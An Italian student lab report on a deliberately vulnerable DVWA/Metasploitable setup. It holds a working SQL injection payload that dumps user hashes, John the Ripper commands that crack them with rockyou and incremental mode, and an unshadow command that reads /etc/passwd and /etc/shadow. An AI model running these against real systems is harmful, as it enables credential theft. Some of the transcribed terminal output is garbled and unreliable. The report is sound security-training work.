## **REPORT** effettuato da:

**Anatoliy Prysyazhnyuk** 

07.06.2023

'UNION SELECT user, password FROM users#

User ID:	
	Submit
irst name: adm	ECT user, password FROM users# in 3b5aa765d61d8327deb882cf99
irst name: gor	ECT user, password FROM users# donb c428cb38d5f260853678922e03
irst name: 133	ECT user, password FROM users# 7 d75ae2c3966d7e0d4fcc69216b
irst name: pab	ECT user, password FROM users# lo 09f5bbe40cade3de5c71e9e9b7
irst name: smi	ECT user, password FROM users# thy 3b5aa765d61d8327deb882cf99

## Eseguo il codice di John the Ripper:

"john --format=raw-md5 --wordlist=/home/kali/Desktop/prova/rockyou.txt hashdvwa.txt"

"john": Si riferisce all'eseguibile del programma "John the Ripper", che è un software popolare utilizzato per il cracking delle password.

- "--format=raw-md5": È un'opzione del comando che specifica il formato dell'hash della password. In questo caso, si sta utilizzando l'algoritmo di hashing MD5. "John the Ripper" utilizzerà questo formato per decifrare la password.
- "--wordlist=/home/kali/Desktop/prova/rockyou.txt": È un'altra opzione del comando che specifica il percorso del file di testo contenente una lista di parole. In questo caso, il file "rockyou.txt" si trova nella directory "/home/kali/Desktop/prova/".
- "hashdvwa.txt": È l'ultimo argomento del comando e rappresenta il file contenente l'<u>hash</u> della password che si desidera decifrare.

```
___(kali⊛ kali)-[~]

$ cd Desktop
(kali light kali) - [~/Desktop]
$ john -- format = raw-md5 -- wordlist = /home/kali/Desktop/prova/rockyou.txt hashdvwa.txt
stat: hashdvwa.txt: No such file or directory
  -(kali⊛kali)-[~/Desktop]
$ cd prova
 -(kali®kali)-[~/Desktop/prova]
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8×3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
charley
4g 0:00:00:00 DONE (2023-06-07 08:33) 22.22g/s 17066p/s 17066c/s 25600C/s my3kids..dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Qui ho provato ad eseguire altri comandi presenti nelle slide:

```
(kali@kali)-[~/Desktop]
$ nano passwd3.txt

(kali@kali)-[~/Desktop]
$ sudo unshadow /etc/passwd /etc/shadow > passwd3.txt
Created directory: /root/.john
```

## Con l'utilizzo di --incremental:

proverà tutte le possibili combinazioni di caratteri in modo progressivo e ordinato. Inizia con le password <u>più brevi e semplici</u>, come singoli caratteri o sequenze di numeri, e quindi passa a password <u>più lunghe e complesse</u> man mano che procede. Questo metodo di attacco viene utilizzato quando <u>non si conosce nulla sulla password crittografata</u> e si vogliono provare tutte le combinazioni possibili. (Nel file **passwd4.txt** è presente l'<u>hash</u> di una password del dvwa di Metasploitable);

```
(kali® kali)-[~/Desktop]
$ john --incremental passwd4.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8*3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
ciao (?)
1g 0:00:00:00 DONE (2023-06-07 09:08) 1.886g/s 2448Kp/s 2448Kc/s 2448KC/s clug..samelee1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali® kali)-[~/Desktop]
$ john --show passwd4.txt
0 password hashes cracked, 2 left

(kali® kali)-[~/Desktop]
$ john --show passwd4.txt --format=Raw-MD5
?:ciao
1 password hash cracked, 0 left
```

```
(kali@kali)-[-/Desktop]

$ john --wordlist-/home/kali/Desktop/prova/rockyou.txt passwd4.txt

Warning: detected hash type "LM", but the string is also recognized as "dynamic-md5($p)"

Use the "--format-HAVAL-128-4" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "HAVAL-128-4"

Use the "--format-HAVAL-128-4" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "MD2"

Use the "--format-MD2" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "mdc2"

Use the "--format-mdc2" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "mscash"

Use the "--format-mscash" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "mscash"

Use the "--format-mscash? option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "Maruning."

Warning: detected hash type "LM", but the string is also recognized as "Raw-MD4"

Use the "--format-Raw-MD4" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"

Use the "--format-Raw-MD5" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"

Use the "--format-Raw-MD5" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"

Use the "--format-Raw-MD5" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "Raw-MB5"

Use the "--format-Saw-SAHA-AxCrypt" option to force loading these as that type instead

Warning: detected hash type "LM", but the string is also recognized as "Raw-SHAA-AxCryp
```

```
(kali@ kali)-[~/Desktop]
$ john --show passwd4.txt --format=Raw-MD5
?:abc123
1 password hash cracked, 0 left
```

l'opzione "--show" viene utilizzata per visualizzare la password decifrata sullo schermo o salvarla in un file di output.

Decifrare una password <u>debole</u> utilizzando <u>dizionari ben forniti</u> può essere relativamente **semplice e veloce**. Un dizionario delle password è un elenco di parole comuni, frasi, combinazioni di caratteri o varianti che vengono utilizzate per eseguire attacchi di forza bruta o attacchi basati su dizionari.

Per aumentare la sicurezza delle password, è consigliabile utilizzare password lunghe, complesse e uniche per ogni account.